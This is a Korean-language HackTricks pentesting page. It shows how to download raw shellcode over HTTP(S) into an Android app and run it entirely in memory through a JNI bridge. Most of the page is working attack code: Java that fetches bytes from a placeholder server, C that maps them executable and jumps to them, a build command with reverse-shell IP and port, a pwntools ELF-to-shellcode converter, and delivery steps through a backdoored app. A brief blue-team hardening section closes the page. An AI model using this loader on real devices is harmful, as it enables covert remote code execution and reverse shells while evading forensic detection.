hacktricks/src/mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md

5.7 KiB
Raw Blame History

Android에서 JNI를 통한 In-Memory Native Code Execution (shellcode)

{{#include ../../banners/hacktricks-training.md}}

이 페이지는 untrusted Android 앱 프로세스에서 JNI를 사용해 네이티브 페이로드를 완전히 메모리 내에서 실행하는 실무 패턴을 문서화합니다. 이 흐름은 디스크에 네이티브 바이너리를 생성하지 않습니다: raw shellcode 바이트를 HTTP(S)로 다운로드하고, 이를 JNI 브리지로 전달한 다음 RX 메모리를 할당하고 점프합니다.

왜 중요한가

  • 포렌식 아티팩트 감소 (디스크에 ELF 없음)
  • ELF exploit binary에서 생성된 “stage-2” native payloads와 호환
  • modern malware 및 red teams가 사용하는 tradecraft와 일치

High-level pattern

  1. Java/Kotlin에서 shellcode 바이트를 가져옴
  2. 바이트 배열을 인자로 native method (JNI)를 호출
  3. JNI 내부: RW 메모리 할당 → 바이트 복사 → mprotect로 RX로 변경 → entrypoint 호출

Minimal example

Java/Kotlin side

public final class NativeExec {
static { System.loadLibrary("nativeexec"); }
public static native int run(byte[] sc);
}

// Download and execute (simplified)
byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes();
int rc = NativeExec.run(sc);

C JNI 측 (arm64/amd64)

#include <jni.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>

static inline void flush_icache(void *p, size_t len) {
__builtin___clear_cache((char*)p, (char*)p + len);
}

JNIEXPORT jint JNICALL
Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) {
jsize len = (*env)->GetArrayLength(env, sc);
if (len <= 0) return -1;

// RW anonymous buffer
void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (buf == MAP_FAILED) return -2;

jboolean isCopy = 0;
jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy);
if (!bytes) { munmap(buf, len); return -3; }

memcpy(buf, bytes, len);
(*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT);

// Make RX and execute
if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; }
flush_icache(buf, len);

int (*entry)(void) = (int (*)(void))buf;
int ret = entry();

// Optional: restore RW and wipe
mprotect(buf, len, PROT_READ | PROT_WRITE);
memset(buf, 0, len);
munmap(buf, len);
return ret;
}

참고 및 주의사항

  • W^X/execmem: 최신 Android는 W^X를 적용합니다; 익명 PROT_EXEC 매핑은 JIT가 있는 앱 프로세스에 대해 (SELinux 정책에 따름) 일반적으로 여전히 허용됩니다. 일부 기기/ROM은 이를 제한할 수 있으므로, 필요 시 JIT-allocated exec pools 또는 native bridges로 대체하세요.
  • Architectures: shellcode 아키텍처가 기기와 일치하는지 확인하세요(일반적으로 arm64-v8a; x86은 에뮬레이터에서만).
  • Entrypoint contract: shellcode 진입 규약(인수 없음 vs 구조체 포인터)을 결정하세요. position-independent (PIC)로 유지하세요.
  • Stability: 점프하기 전에 instruction cache를 지우세요; 캐시 불일치는 ARM에서 크래시를 일으킬 수 있습니다.

패키징: ELF → positionindependent shellcode 안정적인 운영 파이프라인은 다음과 같습니다:

  • exploit을 musl-gcc로 static ELF로 빌드하세요
  • ELF를 pwntools shellcraft.loader_append를 사용해 selfloading shellcode blob으로 변환하세요

빌드

musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""

ELF를 raw shellcode로 변환 (amd64 예제)

# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
loader = shellcraft.loader_append(elf.data, arch='amd64')
sc = asm(loader)
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}")

왜 loader_append가 작동하는가: 이는 내장된 ELF 프로그램 세그먼트를 메모리에 매핑하고 그 entrypoint로 제어를 전달하는 작은 로더를 생성하여, 앱이 memcpyed하여 실행할 수 있는 단일 raw blob을 제공합니다.

Delivery

  • 자신이 제어하는 HTTP(S) 서버에 sc를 호스트한다
  • 백도어/테스트 앱이 sc를 다운로드하고 위에 나온 JNI 브리지를 호출한다
  • 커널/유저 모드 페이로드가 생성하는 리버스 연결을 수신하기 위해 운영자 머신에서 대기한다

Validation workflow for kernel payloads

  • 빠른 리버싱/오프셋 복구를 위해 symbolized vmlinux를 사용한다
  • 가능하면 편리한 debug 이미지에서 primitives를 프로토타이핑하되, 항상 실제 Android 대상에서 재검증해야 한다 (kallsyms, KASLR slide, page-table layout, and mitigations differ)

Hardening/Detection (blue team)

  • 가능한 경우 앱 도메인에서 anonymous PROT_EXEC을 금지한다 (SELinux policy)
  • 엄격한 코드 무결성을 적용한다 (no dynamic native loading from network) 및 업데이트 채널을 검증한다
  • RX로의 의심스러운 mmap/mprotect 전환 및 점프 전에 일어나는 대용량 바이트-배열 복사를 모니터링한다

References

{{#include ../../banners/hacktricks-training.md}}